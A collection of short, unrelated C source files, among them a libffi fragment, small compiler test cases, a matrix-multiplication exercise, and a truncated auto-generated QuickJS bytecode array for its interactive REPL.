else if ((cif->flags & FLAG_RETURNS_64BITS) != 0)
return FFI_V2_TYPE_DOUBLE_HOMOG;
else
return FFI_V2_TYPE_FLOAT_HOMOG;
}
if ((cif->flags & FLAG_RETURNS_VEC) != 0)
return FFI_V2_TYPE_VECTOR;
return cif->rtype->type;
}
#endif
|
the_stack_data/63556.c | int
SampleFunction (void)
{
return 0xf00;
}
|
the_stack_data/232955985.c | // Just one file
// This declaration cannot be dropped even though foo2 will be dropped
static __inline__ int foo2(int x);
int main() {
void *p = foo2;
return foo2(5);
}
// This definition will be kept since it is the first
static __inline__ int foo1(int x) {
return x - 5;
}
// This will be dropped
static __inline__ int foo2(int x) {
return x - 5;
}
|
the_stack_data/107952069.c | #include <stdio.h>
#include <stdlib.h>
typedef struct matrix { int row, col, **val; } matrix;
matrix cre_matrix(int row, int col) {
matrix temp;
temp.row = row;
temp.col = col;
temp.val = (int **)malloc(row * sizeof(int *));
for (int i = 0; i < row; i++) {
temp.val[i] = (int *)malloc(col * sizeof(int));
}
return temp;
}
void rand_matrix(matrix *temp) {
for (int i = 0; i < temp->row; i++) {
for (int j = 0; j < temp->col; j++) {
temp->val[i][j] = rand() % 10;
}
}
}
void del_matrix(matrix *temp) {
for (int i = 0; i < temp->row; i++) {
free(temp->val[i]);
}
free(temp->val);
}
void pri_matrix(matrix temp) {
printf("Matrix %dx%x\n", temp.row, temp.col);
for (int i = 0; i < temp.row; i++) {
for (int j = 0; j < temp.col; j++) {
printf("%d ", temp.val[i][j]);
}
printf("\n");
}
}
// Matrix multiplication
matrix multi(matrix A, matrix B) {
if (A.col == B.row) {
matrix C = cre_matrix(A.row, B.col);
for (int i = 0; i < C.row; i++) {
for (int j = 0; j < C.col; j++) {
C.val[i][j] = 0;
for (int k = 0; k < A.col; k++) {
C.val[i][j] += A.val[i][k] * B.val[k][j];
}
}
}
return C;
}
}
void test(int i, int j, int k) {
matrix A = cre_matrix(i, j);
rand_matrix(&A);
matrix B = cre_matrix(j, k);
rand_matrix(&B);
matrix C = multi(A, B);
pri_matrix(A);
pri_matrix(B);
pri_matrix(C);
}
int main() {
test(2, 3, 4);
return 0;
}
|
the_stack_data/82398.c | #include <stdio.h>
int a; // linked
void f() {
printf("f(): a:%d\n",a);
a=a+10; // starts with default 0
printf("f(): a:%d\n",a);
}
|
the_stack_data/50137678.c | /* File generated automatically by the QuickJS compiler. */
#include <inttypes.h>
const uint32_t repl_size = 15632;
const uint8_t repl[15632] = {
0x01, 0xa1, 0x03, 0x0e, 0x72, 0x65, 0x70, 0x6c,
0x2e, 0x6a, 0x73, 0x06, 0x73, 0x74, 0x64, 0x04,
0x6f, 0x73, 0x10, 0x69, 0x73, 0x46, 0x69, 0x6e,
0x69, 0x74, 0x65, 0x14, 0x70, 0x61, 0x72, 0x73,
0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x08, 0x6f,
0x70, 0x65, 0x6e, 0x10, 0x46, 0x72, 0x61, 0x63,
0x74, 0x69, 0x6f, 0x6e, 0x10, 0x42, 0x69, 0x67,
0x46, 0x6c, 0x6f, 0x61, 0x74, 0x08, 0x1b, 0x5b,
0x30, 0x6d, 0x08, 0x6e, 0x6f, 0x6e, 0x65, 0x0a,
0x1b, 0x5b, 0x33, 0x30, 0x6d, 0x0a, 0x62, 0x6c,
0x61, 0x63, 0x6b, 0x0a, 0x1b, 0x5b, 0x33, 0x31,
0x6d, 0x06, 0x72, 0x65, 0x64, 0x0a, 0x1b, 0x5b,
0x33, 0x32, 0x6d, 0x0a, 0x67, 0x72, 0x65, 0x65,
0x6e, 0x0a, 0x1b, 0x5b, 0x33, 0x33, 0x6d, 0x0c,
0x79, 0x65, 0x6c, 0x6c, 0x6f, 0x77, 0x0a, 0x1b,
0x5b, 0x33, 0x34, 0x6d, 0x08, 0x62, 0x6c, 0x75,
0x65, 0x0a, 0x1b, 0x5b, 0x33, 0x35, 0x6d, 0x0e,
0x6d, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x61, 0x0a,
0x1b, 0x5b, 0x33, 0x36, 0x6d, 0x08, 0x63, 0x79,
0x61, 0x6e, 0x0a, 0x1b, 0x5b, 0x33, 0x37, 0x6d,
0x0a, 0x77, 0x68, 0x69, 0x74, 0x65, 0x0e, 0x1b,
0x5b, 0x33, 0x30, 0x3b, 0x31, 0x6d, 0x08, 0x67,
0x72, 0x61, 0x79, 0x08, 0x67, 0x72, 0x65, 0x79,
0x0e, 0x1b, 0x5b, 0x33, 0x31, 0x3b, 0x31, 0x6d,
0x14, 0x62, 0x72, 0x69, 0x67, 0x68, 0x74, 0x5f,
0x72, 0x65, 0x64, 0x0e, 0x1b, 0x5b, 0x33, 0x32,
0x3b, 0x31, 0x6d, 0x18, 0x62, 0x72, 0x69, 0x67,
0x68, 0x74, 0x5f, 0x67, 0x72, 0x65, 0x65, 0x6e,
0x0e, 0x1b, 0x5b, 0x33, 0x33, 0x3b, 0x31, 0x6d,
0x1a, 0x62, 0x72, 0x69, 0x67, 0x68, 0x74, 0x5f,
0x79, 0x65, 0x6c, 0x6c, 0x6f, 0x77, 0x0e, 0x1b,
0x5b, 0x33, 0x34, 0x3b, 0x31, 0x6d, 0x16, 0x62,
0x72, 0x69, 0x67, 0x68, 0x74, 0x5f, 0x62, 0x6c,
0x75, 0x65, 0x0e, 0x1b, 0x5b, 0x33, 0x35, 0x3b,
0x31, 0x6d, 0x1c, 0x62, 0x72, 0x69, 0x67, 0x68,
0x74, 0x5f, 0x6d, 0x61, 0x67, 0x65, 0x6e, 0x74,
0x61, 0x0e, 0x1b, 0x5b, 0x33, 0x36, 0x3b, 0x31,
0x6d, 0x16, 0x62, 0x72, 0x69, 0x67, 0x68, 0x74,
0x5f, 0x63, 0x79, 0x61, 0x6e, 0x0e, 0x1b, 0x5b,
0x33, 0x37, 0x3b, 0x31, 0x6d, 0x18, 0x62, 0x72,
0x69, 0x67, 0x68, 0x74, 0x5f, 0x77, 0x68, 0x69,
0x74, 0x65, 0x0e, 0x63, 0x6f, 0x6d, 0x6d, 0x65,
0x6e, 0x74, 0x0a, 0x72, 0x65, 0x67, 0x65, 0x78,
0x0e, 0x6b, 0x65, 0x79, 0x77, 0x6f, 0x72, 0x64,
0x08, 0x74, 0x79, 0x70, 0x65, 0x14, 0x69, 0x64,
0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72,
0x0a, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x0c, 0x72,
0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x65, 0x72,
0x72, 0x6f, 0x72, 0x5f, 0x6d, 0x73, 0x67, 0x04,
0x3e, 0x20, 0x0c, 0x71, 0x6a, 0x73, 0x20, 0x3e,
0x20, 0x0c, 0x20, 0x20, 0x2e, 0x2e, 0x2e, 0x20,
0x02, 0x01, 0x02, 0x02, 0x02, 0x03, 0x02, 0x04,
0x02, 0x05, 0x02, 0x06, 0x02, 0x07, 0x02, 0x08,
0x02, 0x09, 0x02, 0x0a, 0x02, 0x0b, 0x02, 0x0d,
0x02, 0x0e, 0x02, 0x10, 0x02, 0x11, 0x02, 0x12,
0x02, 0x13, 0x02, 0x14, 0x02, 0x18, 0x02, 0x19,
0x06, 0x1b, 0x4f, 0x41, 0x06, 0x1b, 0x4f, 0x42,
0x06, 0x1b, 0x4f, 0x43, 0x06, 0x1b, 0x4f, 0x44,
0x06, 0x1b, 0x4f, 0x46, 0x06, 0x1b, 0x4f, 0x48,
0x0c, 0x1b, 0x5b, 0x31, 0x3b, 0x35, 0x43, 0x0c,
0x1b, 0x5b, 0x31, 0x3b, 0x35, 0x44, 0x08, 0x1b,
0x5b, 0x31, 0x7e, 0x08, 0x1b, 0x5b, 0x33, 0x7e,
0x08, 0x1b, 0x5b, 0x34, 0x7e, 0x08, 0x1b, 0x5b,
0x35, 0x7e, 0x08, 0x1b, 0x5b, 0x36, 0x7e, 0x06,
0x1b, 0x5b, 0x41, 0x06, 0x1b, 0x5b, 0x42, 0x06,
0x1b, 0x5b, 0x43, 0x06, 0x1b, 0x5b, 0x44, 0x06,
0x1b, 0x5b, 0x46, 0x06, 0x1b, 0x5b, 0x48, 0x04,
0x1b, 0x7f, 0x04, 0x1b, 0x62, 0x04, 0x1b, 0x64,
0x04, 0x1b, 0x66, 0x04, 0x1b, 0x6b, 0x04, 0x1b,
0x6c, 0x04, 0x1b, 0x74, 0x04, 0x1b, 0x75, 0x02,
0x7f, 0x0e, 0x65, 0x78, 0x65, 0x63, 0x43, 0x6d,
0x64, 0x10, 0x74, 0x65, 0x72, 0x6d, 0x49, 0x6e,
0x69, 0x74, 0x0c, 0x66, 0x69, 0x6c, 0x65, 0x6e,
0x6f, 0x0c, 0x69, 0x73, 0x61, 0x74, 0x74, 0x79,
0x1a, 0x74, 0x74, 0x79, 0x47, 0x65, 0x74, 0x57,
0x69, 0x6e, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x74,
0x74, 0x79, 0x53, 0x65, 0x74, 0x52, 0x61, 0x77,
0x0c, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x0c,
0x53, 0x49, 0x47, 0x49, 0x4e, 0x54, 0x1c, 0x73,
0x65, 0x74, 0x52, 0x65, 0x61, 0x64, 0x48, 0x61,
0x6e, 0x64, 0x6c, 0x65, 0x72, 0x1c, 0x73, 0x69,
0x67, 0x69, 0x6e, 0x74, 0x5f, 0x68, 0x61, 0x6e,
0x64, 0x6c, 0x65, 0x72, 0x16, 0x68, 0x61, 0x6e,
0x64, 0x6c, 0x65, 0x5f, 0x62, 0x79, 0x74, 0x65,
0x22, 0x74, 0x65, 0x72, 0x6d, 0x5f, 0x72, 0x65,
0x61, 0x64, 0x5f, 0x68, 0x61, 0x6e, 0x64, 0x6c,
0x65, 0x72, 0x08, 0x72, 0x65, 0x61, 0x64, 0x0c,
0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x10, 0x69,
0x73, 0x5f, 0x61, 0x6c, 0x70, 0x68, 0x61, 0x02,
0x41, 0x02, 0x5a, 0x02, 0x61, 0x02, 0x7a, 0x10,
0x69, 0x73, 0x5f, 0x64, 0x69, 0x67, 0x69, 0x74,
0x0e, 0x69, 0x73, 0x5f, 0x77, 0x6f, 0x72, 0x64,
0x02, 0x5f, 0x02, 0x24, 0x16, 0x69, 0x73, 0x5f,
0x62, 0x61, 0x6c, 0x61, 0x6e, 0x63, 0x65, 0x64,
0x04, 0x28, 0x29, 0x04, 0x5b, 0x5d, 0x04, 0x7b,
0x7d, 0x20, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x5f,
0x63, 0x6f, 0x6c, 0x6f, 0x72, 0x5f, 0x74, 0x65,
0x78, 0x74, 0x08, 0x70, 0x75, 0x74, 0x73, 0x12,
0x73, 0x75, 0x62, 0x73, 0x74, 0x72, 0x69, 0x6e,
0x67, 0x12, 0x70, 0x72, 0x69, 0x6e, 0x74, 0x5f,
0x63, 0x73, 0x69, 0x04, 0x1b, 0x5b, 0x16, 0x6d,
0x6f, 0x76, 0x65, 0x5f, 0x63, 0x75, 0x72, 0x73,
0x6f, 0x72, 0x06, 0x6d, 0x69, 0x6e, 0x02, 0x43,
0x02, 0x44, 0x0c, 0x75, 0x70, 0x64, 0x61, 0x74,
0x65, 0x04, 0x20, 0x08, 0x06, 0x1b, 0x5b, 0x4a,
0x06, 0x6f, 0x75, 0x74, 0x0a, 0x66, 0x6c, 0x75,
0x73, 0x68, 0x0c, 0x69, 0x6e, 0x73, 0x65, 0x72,
0x74, 0x1a, 0x71, 0x75, 0x6f, 0x74, 0x65, 0x64,
0x5f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x14,
0x71, 0x75, 0x6f, 0x74, 0x65, 0x5f, 0x66, 0x6c,
0x61, 0x67, 0x0a, 0x61, 0x62, 0x6f, 0x72, 0x74,
0x06, 0x63, 0x6d, 0x64, 0x14, 0x63, 0x75, 0x72,
0x73, 0x6f, 0x72, 0x5f, 0x70, 0x6f, 0x73, 0x0a,
0x61, 0x6c, 0x65, 0x72, 0x74, 0x22, 0x62, 0x65,
0x67, 0x69, 0x6e, 0x6e, 0x69, 0x6e, 0x67, 0x5f,
0x6f, 0x66, 0x5f, 0x6c, 0x69, 0x6e, 0x65, 0x16,
0x65, 0x6e, 0x64, 0x5f, 0x6f, 0x66, 0x5f, 0x6c,
0x69, 0x6e, 0x65, 0x18, 0x66, 0x6f, 0x72, 0x77,
0x61, 0x72, 0x64, 0x5f, 0x63, 0x68, 0x61, 0x72,
0x1a, 0x62, 0x61, 0x63, 0x6b, 0x77, 0x61, 0x72,
0x64, 0x5f, 0x63, 0x68, 0x61, 0x72, 0x22, 0x73,
0x6b, 0x69, 0x70, 0x5f, 0x77, 0x6f, 0x72, 0x64,
0x5f, 0x66, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
0x0c, 0x63, 0x68, 0x61, 0x72, 0x41, 0x74, 0x24,
0x73, 0x6b, 0x69, 0x70, 0x5f, 0x77, 0x6f, 0x72,
0x64, 0x5f, 0x62, 0x61, 0x63, 0x6b, 0x77, 0x61,
0x72, 0x64, 0x18, 0x66, 0x6f, 0x72, 0x77, 0x61,
0x72, 0x64, 0x5f, 0x77, 0x6f, 0x72, 0x64, 0x1a,
0x62, 0x61, 0x63, 0x6b, 0x77, 0x61, 0x72, 0x64,
0x5f, 0x77, 0x6f, 0x72, 0x64, 0x16, 0x61, 0x63,
0x63, 0x65, 0x70, 0x74, 0x5f, 0x6c, 0x69, 0x6e,
0x65, 0x16, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72,
0x79, 0x5f, 0x61, 0x64, 0x64, 0x08, 0x70, 0x75,
0x73, 0x68, 0x20, 0x70, 0x72, 0x65, 0x76, 0x69,
0x6f, 0x75, 0x73, 0x5f, 0x68, 0x69, 0x73, 0x74,
0x6f, 0x72, 0x79, 0x1a, 0x68, 0x69, 0x73, 0x74,
0x6f, 0x72, 0x79, 0x5f, 0x69, 0x6e, 0x64, 0x65,
0x78, 0x0e, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72,
0x79, 0x18, 0x6e, 0x65, 0x78, 0x74, 0x5f, 0x68,
0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x1c, 0x68,
0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x5f, 0x73,
0x65, 0x61, 0x72, 0x63, 0x68, 0x2e, 0x68, 0x69,
0x73, 0x74, 0x6f, 0x72, 0x79, 0x5f, 0x73, 0x65,
0x61, 0x72, 0x63, 0x68, 0x5f, 0x62, 0x61, 0x63,
0x6b, 0x77, 0x61, 0x72, 0x64, 0x2c, 0x68, 0x69,
0x73, 0x74, 0x6f, 0x72, 0x79, 0x5f, 0x73, 0x65,
0x61, 0x72, 0x63, 0x68, 0x5f, 0x66, 0x6f, 0x72,
0x77, 0x61, 0x72, 0x64, 0x1e, 0x64, 0x65, 0x6c,
0x65, 0x74, 0x65, 0x5f, 0x63, 0x68, 0x61, 0x72,
0x5f, 0x64, 0x69, 0x72, 0x16, 0x64, 0x65, 0x6c,
0x65, 0x74, 0x65, 0x5f, 0x63, 0x68, 0x61, 0x72,
0x12, 0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c,
0x5f, 0x64, 0x28, 0x62, 0x61, 0x63, 0x6b, 0x77,
0x61, 0x72, 0x64, 0x5f, 0x64, 0x65, 0x6c, 0x65,
0x74, 0x65, 0x5f, 0x63, 0x68, 0x61, 0x72, 0x1e,
0x74, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x73,
0x65, 0x5f, 0x63, 0x68, 0x61, 0x72, 0x73, 0x1e,
0x74, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x73,
0x65, 0x5f, 0x77, 0x6f, 0x72, 0x64, 0x73, 0x16,
0x75, 0x70, 0x63, 0x61, 0x73, 0x65, 0x5f, 0x77,
0x6f, 0x72, 0x64, 0x16, 0x74, 0x6f, 0x55, 0x70,
0x70, 0x65, 0x72, 0x43, 0x61, 0x73, 0x65, 0x1a,
0x64, 0x6f, 0x77, 0x6e, 0x63, 0x61, 0x73, 0x65,
0x5f, 0x77, 0x6f, 0x72, 0x64, 0x16, 0x74, 0x6f,
0x4c, 0x6f, 0x77, 0x65, 0x72, 0x43, 0x61, 0x73,
0x65, 0x16, 0x6b, 0x69, 0x6c, 0x6c, 0x5f, 0x72,
0x65, 0x67, 0x69, 0x6f, 0x6e, 0x12, 0x6b, 0x69,
0x6c, 0x6c, 0x5f, 0x6c, 0x69, 0x6e, 0x65, 0x24,
0x62, 0x61, 0x63, 0x6b, 0x77, 0x61, 0x72, 0x64,
0x5f, 0x6b, 0x69, 0x6c, 0x6c, 0x5f, 0x6c, 0x69,
0x6e, 0x65, 0x12, 0x6b, 0x69, 0x6c, 0x6c, 0x5f,
0x77, 0x6f, 0x72, 0x64, 0x24, 0x62, 0x61, 0x63,
0x6b, 0x77, 0x61, 0x72, 0x64, 0x5f, 0x6b, 0x69,
0x6c, 0x6c, 0x5f, 0x77, 0x6f, 0x72, 0x64, 0x08,
0x79, 0x61, 0x6e, 0x6b, 0x14, 0x63, 0x6c, 0x69,
0x70, 0x5f, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x12,
0x63, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x5f,
0x63, 0x10, 0x6c, 0x61, 0x73, 0x74, 0x5f, 0x66,
0x75, 0x6e, 0x2a, 0x72, 0x65, 0x61, 0x64, 0x6c,
0x69, 0x6e, 0x65, 0x5f, 0x70, 0x72, 0x69, 0x6e,
0x74, 0x5f, 0x70, 0x72, 0x6f, 0x6d, 0x70, 0x74,
0x08, 0x65, 0x78, 0x69, 0x74, 0x3c, 0x0a, 0x28,
0x50, 0x72, 0x65, 0x73, 0x73, 0x20, 0x43, 0x74,
0x72, 0x6c, 0x2d, 0x43, 0x20, 0x61, 0x67, 0x61,
0x69, 0x6e, 0x20, 0x74, 0x6f, 0x20, 0x71, 0x75,
0x69, 0x74, 0x29, 0x0a, 0x0a, 0x72, 0x65, 0x73,
0x65, 0x74, 0x20, 0x67, 0x65, 0x74, 0x5f, 0x63,
0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x5f, 0x77,
0x6f, 0x72, 0x64, 0x24, 0x67, 0x65, 0x74, 0x5f,
0x63, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x5f,
0x6f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x08, 0x6c,
0x69, 0x6e, 0x65, 0x06, 0x70, 0x6f, 0x73, 0x06,
0x6f, 0x62, 0x6a, 0x08, 0x62, 0x61, 0x73, 0x65,
0x02, 0x63, 0x02, 0x67, 0x1c, 0x63, 0x6f, 0x6e,
0x66, 0x69, 0x67, 0x5f, 0x6e, 0x75, 0x6d, 0x63,
0x61, 0x6c, 0x63, 0x14, 0x68, 0x61, 0x73, 0x5f,
0x6a, 0x73, 0x63, 0x61, 0x6c, 0x63, 0x14, 0x68,
0x61, 0x73, 0x5f, 0x62, 0x69, 0x67, 0x6e, 0x75,
0x6d, 0x0c, 0x63, 0x6f, 0x6c, 0x6f, 0x72, 0x73,
0x0c, 0x73, 0x74, 0x79, 0x6c, 0x65, 0x73, 0x08,
0x70, 0x72, 0x65, 0x63, 0x0e, 0x65, 0x78, 0x70,
0x42, 0x69, 0x74, 0x73, 0x0e, 0x6c, 0x6f, 0x67,
0x32, 0x5f, 0x31, 0x30, 0x0c, 0x70, 0x73, 0x74,
0x61, 0x74, 0x65, 0x0c, 0x70, 0x72, 0x6f, 0x6d,
0x70, 0x74, 0x08, 0x70, 0x6c, 0x65, 0x6e, 0x06,
0x70, 0x73, 0x31, 0x06, 0x70, 0x73, 0x32, 0x08,
0x75, 0x74, 0x66, 0x38, 0x12, 0x73, 0x68, 0x6f,
0x77, 0x5f, 0x74, 0x69, 0x6d, 0x65, 0x16, 0x73,
0x68, 0x6f, 0x77, 0x5f, 0x63, 0x6f, 0x6c, 0x6f,
0x72, 0x73, 0x12, 0x65, 0x76, 0x61, 0x6c, 0x5f,
0x74, 0x69, 0x6d, 0x65, 0x0a, 0x6d, 0x65, 0x78,
0x70, 0x72, 0x0a, 0x6c, 0x65, 0x76, 0x65, 0x6c,
0x10, 0x6c, 0x61, 0x73, 0x74, 0x5f, 0x63, 0x6d,
0x64, 0x1e, 0x6c, 0x61, 0x73, 0x74, 0x5f, 0x63,
0x75, 0x72, 0x73, 0x6f, 0x72, 0x5f, 0x70, 0x6f,
0x73, 0x10, 0x74, 0x68, 0x69, 0x73, 0x5f, 0x66,
0x75, 0x6e, 0x14, 0x75, 0x74, 0x66, 0x38, 0x5f,
0x73, 0x74, 0x61, 0x74, 0x65, 0x10, 0x75, 0x74,
0x66, 0x38, 0x5f, 0x76, 0x61, 0x6c, 0x0e, 0x74,
0x65, 0x72, 0x6d, 0x5f, 0x66, 0x64, 0x1a, 0x74,
0x65, 0x72, 0x6d, 0x5f, 0x72, 0x65, 0x61, 0x64,
0x5f, 0x62, 0x75, 0x66, 0x14, 0x74, 0x65, 0x72,
0x6d, 0x5f, 0x77, 0x69, 0x64, 0x74, 0x68, 0x1a,
0x74, 0x65, 0x72, 0x6d, 0x5f, 0x63, 0x75, 0x72,
0x73, 0x6f, 0x72, 0x5f, 0x78, 0x1e, 0x67, 0x65,
0x74, 0x5f, 0x63, 0x6f, 0x6d, 0x70, 0x6c, 0x65,
0x74, 0x69, 0x6f, 0x6e, 0x73, 0x14, 0x63, 0x6f,
0x6d, 0x70, 0x6c, 0x65, 0x74, 0x69, 0x6f, 0x6e,
0x10, 0x63, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64,
0x73, 0x0c, 0x64, 0x75, 0x70, 0x73, 0x74, 0x72,
0x1a, 0x72, 0x65, 0x61, 0x64, 0x6c, 0x69, 0x6e,
0x65, 0x5f, 0x6b, 0x65, 0x79, 0x73, 0x1c, 0x72,
0x65, 0x61, 0x64, 0x6c, 0x69, 0x6e, 0x65, 0x5f,
0x73, 0x74, 0x61, 0x74, 0x65, 0x16, 0x72, 0x65,
0x61, 0x64, 0x6c, 0x69, 0x6e, 0x65, 0x5f, 0x63,
0x62, 0x1c, 0x72, 0x65, 0x61, 0x64, 0x6c, 0x69,
0x6e, 0x65, 0x5f, 0x73, 0x74, 0x61, 0x72, 0x74,
0x16, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x5f,
0x63, 0x68, 0x61, 0x72, 0x14, 0x68, 0x61, 0x6e,
0x64, 0x6c, 0x65, 0x5f, 0x6b, 0x65, 0x79, 0x10,
0x68, 0x65, 0x78, 0x5f, 0x6d, 0x6f, 0x64, 0x65,
0x12, 0x65, 0x76, 0x61, 0x6c, 0x5f, 0x6d, 0x6f,
0x64, 0x65, 0x1a, 0x62, 0x69, 0x67, 0x6e, 0x75,
0x6d, 0x5f, 0x74, 0x79, 0x70, 0x65, 0x6f, 0x66,
0x20, 0x65, 0x76, 0x61, 0x6c, 0x5f, 0x6d, 0x6f,
0x64, 0x65, 0x5f, 0x74, 0x79, 0x70, 0x65, 0x6f,
0x66, 0x20, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72,
0x5f, 0x74, 0x6f, 0x5f, 0x73, 0x74, 0x72, 0x69,
0x6e, 0x67, 0x20, 0x62, 0x69, 0x67, 0x69, 0x6e,
0x74, 0x5f, 0x74, 0x6f, 0x5f, 0x73, 0x74, 0x72,
0x69, 0x6e, 0x67, 0x0a, 0x70, 0x72, 0x69, 0x6e,
0x74, 0x22, 0x65, 0x78, 0x74, 0x72, 0x61, 0x63,
0x74, 0x5f, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74,
0x69, 0x76, 0x65, 0x20, 0x68, 0x61, 0x6e, 0x64,
0x6c, 0x65, 0x5f, 0x64, 0x69, 0x72, 0x65, 0x63,
0x74, 0x69, 0x76, 0x65, 0x08, 0x68, 0x65, 0x6c,
0x70, 0x1c, 0x65, 0x76, 0x61, 0x6c, 0x5f, 0x61,
0x6e, 0x64, 0x5f, 0x70, 0x72, 0x69, 0x6e, 0x74,
0x12, 0x63, 0x6d, 0x64, 0x5f, 0x73, 0x74, 0x61,
0x72, 0x74, 0x24, 0x63, 0x6d, 0x64, 0x5f, 0x72,
0x65, 0x61, 0x64, 0x6c, 0x69, 0x6e, 0x65, 0x5f,
0x73, 0x74, 0x61, 0x72, 0x74, 0x26, 0x72, 0x65,
0x61, 0x64, 0x6c, 0x69, 0x6e, 0x65, 0x5f, 0x68,
0x61, 0x6e, 0x64, 0x6c, 0x65, 0x5f, 0x63, 0x6d,
0x64, 0x14, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,
0x5f, 0x63, 0x6d, 0x64, 0x16, 0x63, 0x6f, 0x6c,
0x6f, 0x72, 0x69, 0x7a, 0x65, 0x5f, 0x6a, 0x73,
0x2a, 0x20, 0x7e, 0x21, 0x25, 0x5e, 0x26, 0x2a,
0x28, 0x2d, 0x2b, 0x3d, 0x7b, 0x5b, 0x7c, 0x3a,
0x3b, 0x2c, 0x3c, 0x3e, 0x3f, 0x2f, 0x0e, 0x69,
0x6e, 0x64, 0x65, 0x78, 0x4f, 0x66, 0x02, 0x2e,
0x02, 0x27, 0x02, 0x22, 0x02, 0x5d, 0x02, 0x7d,
0x02, 0x2f, 0x10, 0x69, 0x6e, 0x63, 0x6c, 0x75,
0x64, 0x65, 0x73, 0x0a, 0x69, 0x73, 0x4e, 0x61,
0x4e, 0x26, 0x67, 0x65, 0x74, 0x4f, 0x77, 0x6e,
0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x79,
0x4e, 0x61, 0x6d, 0x65, 0x73, 0x14, 0x73, 0x74,
0x61, 0x72, 0x74, 0x73, 0x57, 0x69, 0x74, 0x68,
0x08, 0x73, 0x6f, 0x72, 0x74, 0x06, 0x74, 0x61,
0x62, 0x06, 0x63, 0x74, 0x78, 0x0c, 0x73, 0x79,
0x6d, 0x63, 0x6d, 0x70, 0x02, 0x28, 0x02, 0x29,
0x06, 0x6d, 0x61, 0x78, 0x0a, 0x66, 0x6c, 0x6f,
0x6f, 0x72, 0x08, 0x63, 0x65, 0x69, 0x6c, 0x0c,
0x70, 0x61, 0x64, 0x45, 0x6e, 0x64, 0x02, 0x20,
0x0a, 0x72, 0x6f, 0x75, 0x6e, 0x64, 0x18, 0x66,
0x72, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x43,
0x6f, 0x64, 0x65, 0x02, 0x1b, 0x02, 0x5b, 0x02,
0x4f, 0x02, 0x3b, 0x10, 0x62, 0x69, 0x67, 0x66,
0x6c, 0x6f, 0x61, 0x74, 0x08, 0x6d, 0x61, 0x74,
0x68, 0x12, 0x42, 0x69, 0x67, 0x46, 0x6c, 0x6f,
0x61, 0x74, 0x28, 0x04, 0x2d, 0x30, 0x02, 0x2d,
0x04, 0x30, 0x78, 0x02, 0x6c, 0x02, 0x70, 0x02,
0x65, 0x04, 0x2e, 0x30, 0x02, 0x6e, 0x12, 0x70,
0x72, 0x69, 0x6e, 0x74, 0x5f, 0x72, 0x65, 0x63,
0x14, 0x5b, 0x63, 0x69, 0x72, 0x63, 0x75, 0x6c,
0x61, 0x72, 0x5d, 0x0e, 0x43, 0x6f, 0x6d, 0x70,
0x6c, 0x65, 0x78, 0x06, 0x4d, 0x6f, 0x64, 0x14,
0x50, 0x6f, 0x6c, 0x79, 0x6e, 0x6f, 0x6d, 0x69,
0x61, 0x6c, 0x0e, 0x50, 0x6f, 0x6c, 0x79, 0x4d,
0x6f, 0x64, 0x20, 0x52, 0x61, 0x74, 0x69, 0x6f,
0x6e, 0x61, 0x6c, 0x46, 0x75, 0x6e, 0x63, 0x74,
0x69, 0x6f, 0x6e, 0x0c, 0x53, 0x65, 0x72, 0x69,
0x65, 0x73, 0x0e, 0x69, 0x73, 0x41, 0x72, 0x72,
0x61, 0x79, 0x04, 0x5b, 0x20, 0x04, 0x2c, 0x20,
0x0e, 0x3c, 0x65, 0x6d, 0x70, 0x74, 0x79, 0x3e,
0x06, 0x2e, 0x2e, 0x2e, 0x04, 0x20, 0x5d, 0x14,
0x5f, 0x5f, 0x67, 0x65, 0x74, 0x43, 0x6c, 0x61,
0x73, 0x73, 0x08, 0x6b, 0x65, 0x79, 0x73, 0x04,
0x7b, 0x20, 0x04, 0x3a, 0x20, 0x04, 0x20, 0x7d,
0x06, 0x70, 0x6f, 0x70, 0x0e, 0x5f, 0x5f, 0x71,
0x75, 0x6f, 0x74, 0x65, 0x08, 0x2e, 0x2e, 0x2e,
0x22, 0x0c, 0x62, 0x69, 0x67, 0x69, 0x6e, 0x74,
0x12, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f,
0x6e, 0x20, 0x02, 0x5c, 0x02, 0x68, 0x02, 0x3f,
0x08, 0x6c, 0x6f, 0x61, 0x64, 0x08, 0x74, 0x72,
0x69, 0x6d, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x49,
0x6e, 0x64, 0x65, 0x78, 0x4f, 0x66, 0x06, 0x2e,
0x6a, 0x73, 0x14, 0x6c, 0x6f, 0x61, 0x64, 0x53,
0x63, 0x72, 0x69, 0x70, 0x74, 0x02, 0x78, 0x02,
0x64, 0x02, 0x74, 0x26, 0x42, 0x69, 0x67, 0x46,
0x6c, 0x6f, 0x61, 0x74, 0x20, 0x70, 0x72, 0x65,
0x63, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x10,
0x20, 0x62, 0x69, 0x74, 0x73, 0x20, 0x28, 0x7e,
